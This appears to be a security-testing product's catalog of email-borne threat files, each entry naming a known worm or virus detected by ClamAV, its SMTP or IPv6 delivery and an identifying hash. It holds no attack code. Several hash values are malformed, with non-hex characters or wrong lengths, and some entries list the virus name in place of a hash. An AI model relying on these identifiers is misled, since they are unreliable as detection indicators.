Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AE.62035831_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AE (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AE as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 62035831b8b40ad8c0253a0142c99dcl. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BR.dd079200.xml
Executive Description:	Email Virus Worm.LoveLetter.BR
Detailed Description:	This is the email virus Worm.LoveLetter.BR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dd079200eca53f7e4fb0097ba5f3c667. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sity.417143d7.xml
Executive Description:	Email Virus Worm.Sity
Detailed Description:	This is the email virus Worm.Sity as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 417143d74231db2757ee23661d4868f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Drefir.C.9594702d_IPv6.xml
Executive Description:	Email Virus Worm.Drefir.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Drefir.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9594702de451b792e318b8eb1deb9214. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Roaller.roa.310db78b.xml
Executive Description:	Email Virus Email-Worm.Win32.Roaller.roa
Detailed Description:	This is the email virus Email-Worm.Win32.Roaller.roa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Roaller.roa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.f367f2b6_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f367f2b696c13a214022b97a49275428. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.MTX.5a9f01d0_IPv6.xml
Executive Description:	Email Virus W32.MTX (IPv6 Version)
Detailed Description:	This is the email virus W32.MTX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a9f01d09c06d894812bcb6863b0e36a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.e.e.2fee0483_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Godog.5e0a9fel_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e0a9fel04ab8e32f8e8d4ec502289ec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.LoveLetter.BB.b2cda449_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BB (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BB as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b2cda449c00abcecc0f056416750052c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.White.A.dff252d3.xml
Executive Description:	Email Virus Worm.White.A
Detailed Description:	This is the email virus Worm.White.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dff252d337a54d73c67e38bda06b72ec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.75355112.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7535511290b8e42ca775330bdb110a68. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kadra.154bf120_IPv6.xml
Executive Description:	Email Virus Worm.Kadra (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kadra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 154bf1202aac8e31bb09acb5d62109f1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.F.2e77976d_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e77976da30bf4450f369e8431e340fa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Avron.e.e.2f9165c9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Avron.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Avron.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Avron.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.Relix.A.27f07ae4_IPv6.xml
Executive Description:	Email Virus BAT.Relix.A (IPv6 Version)
Detailed Description:	This is the email virus BAT.Relix.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 27f07ae42b6f6ebf7f5c316f0efc0e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Shoho.8240078d.xml
Executive Description:	Email Virus W32.Shoho
Detailed Description:	This is the email virus W32.Shoho as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8240078dla3fcdada7cb14c23795ec50d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.h.h.c17513bd.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Bater.a.exe.c0d5abbe_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Bater.a.exe (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Bater.a.exe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Bater.a.exe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Azag.A.b8c4adfa.xml
Executive Description:	Email Virus Worm.Azag.A
Detailed Description:	This is the email virus Worm.Azag.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b8c4adfabd673dafa097c21eff75e840. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.3710e115_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3710e11503f5e4d706bb8f189a2ac1b5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Peach.98d8706c.xml
Executive Description:	Email Virus Worm.Peach
Detailed Description:	This is the email virus Worm.Peach as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 98d8706c31ce9c4c45daa5c02e1a1950. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.k.k.50cff8c9.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.k.k
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email